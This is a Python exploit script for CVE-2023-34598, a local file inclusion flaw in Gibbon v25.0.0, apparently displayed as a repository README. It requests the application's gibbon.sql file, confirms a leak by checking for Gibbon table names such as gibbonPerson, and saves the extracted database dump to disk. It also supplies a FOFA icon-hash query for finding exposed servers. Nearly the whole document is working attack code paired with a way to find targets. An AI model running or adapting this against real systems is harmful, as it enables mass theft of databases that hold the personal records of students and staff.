README.md
Rendering markdown...
#!/usr/bin/env python3
import os
import sys
import argparse
import requests
import re
# Suppress only the single InsecureRequestWarning from urllib3 needed
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
DESCRIPTION = """
CVE-2023-34598 - Gibbon v25.0.0 LFI Exploit
"""
FOFA_QUERY = """\
Use this FOFA query to search for potentially vulnerable targets:
icon_hash="-165631681"
"""
# Global variables
cont = 1
default_dirname = "Gibbon_dump"
def make_dir(dirname=default_dirname):
"""
Attempts to create the specified directory and then chdir into it.
If the directory already exists, increments a global counter
and retries with a new name (Gibbon_dump-2, etc.).
"""
global cont
try:
os.mkdir(dirname)
os.chdir(dirname)
except FileExistsError:
cont += 1
new_name = f"{default_dirname}-{cont}"
make_dir(new_name)
def scan_target(url):
"""
Main logic to test the target URL for the vulnerability
and, if found, create a directory to store the results.
"""
if url.endswith("/"):
url = url[:-1]
try:
print(f"[*] Scanning URL: {url}")
r = requests.get(f"{url}/?q=gibbon.sql", verify=False, timeout=10)
response_text = r.text
# Check for SQL related patterns and Gibbon-specific tables
gibbon_tables = ["gibbonAction", "gibbonModule", "gibbonPerson", "gibbonRole"]
has_sql_syntax = any(pattern in response_text for pattern in ["CREATE TABLE", "INSERT INTO", "ENGINE=InnoDB"])
has_gibbon_tables = any(table in response_text for table in gibbon_tables)
if r.status_code == 200 and has_sql_syntax and has_gibbon_tables:
print("[+] Target appears vulnerable. Saving dump...")
make_dir() # Create or enter output directory
with open("!target.txt", "w") as f:
f.write(url)
# Extract the SQL content - find the first SQL-like line and extract from there
sql_start_patterns = ["-- phpMyAdmin", "-- MySQL", "-- Dump", "SET SQL_MODE"]
sql_end_patterns = ["AUTO_INCREMENT=", "COMMIT;", ");", "-- EOF"]
# Find start index
start_idx = -1
for pattern in sql_start_patterns:
idx = response_text.find(pattern)
if idx != -1:
start_idx = idx
break
# If no standard start found, try to find first SQL-like statement
if start_idx == -1:
match = re.search(r'(CREATE TABLE|SET SQL_MODE|INSERT INTO)', response_text)
if match:
start_idx = match.start()
# Find a reasonable end point
end_idx = len(response_text)
for pattern in sql_end_patterns:
idx = response_text.rfind(pattern)
if idx != -1:
# Find the end of the line containing this pattern
line_end = response_text.find('\n', idx)
if line_end != -1:
end_idx = min(end_idx, line_end + 1)
else:
end_idx = min(end_idx, len(response_text))
if start_idx != -1:
# Limit the end_idx to be after start_idx
end_idx = max(end_idx, start_idx + 100)
relevant_sql = response_text[start_idx:end_idx]
with open("gibbon.sql", "w") as sql_file:
sql_file.write(relevant_sql)
current_dir = os.path.basename(os.getcwd())
print(f"[+] Database dump saved to '{current_dir}/gibbon.sql'.")
else:
print("[!] SQL content detected but could not locate clear start markers. Saving complete response.")
with open("full_response.txt", "w") as f:
f.write(response_text)
else:
print("[-] Not vulnerable.")
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
def show_fofa_query():
"""
Prints the FOFA query that can be used to discover potential targets.
"""
print(FOFA_QUERY)
def main():
parser = argparse.ArgumentParser(
description=DESCRIPTION,
formatter_class=argparse.RawTextHelpFormatter
)
subparsers = parser.add_subparsers(
title="Commands",
dest="command",
help="Choose one of the available commands."
)
# --- Subcommand: scan ---
parser_scan = subparsers.add_parser(
"scan",
help="Scan a target URL for the CVE-2023-34598 vulnerability."
)
parser_scan.add_argument(
"url",
help="Base URL of the Gibbon application (e.g., https://example.com/gibbon)"
)
# --- Subcommand: fofa ---
parser_fofa = subparsers.add_parser(
"fofa",
help="Print a FOFA query for finding vulnerable targets."
)
# Parse the args
args = parser.parse_args()
# If no command is provided, show help
if not args.command:
parser.print_help()
sys.exit(0)
# Dispatch to subcommand logic
if args.command == "scan":
scan_target(args.url)
elif args.command == "fofa":
show_fofa_query()
else:
parser.print_help()
if __name__ == "__main__":
main()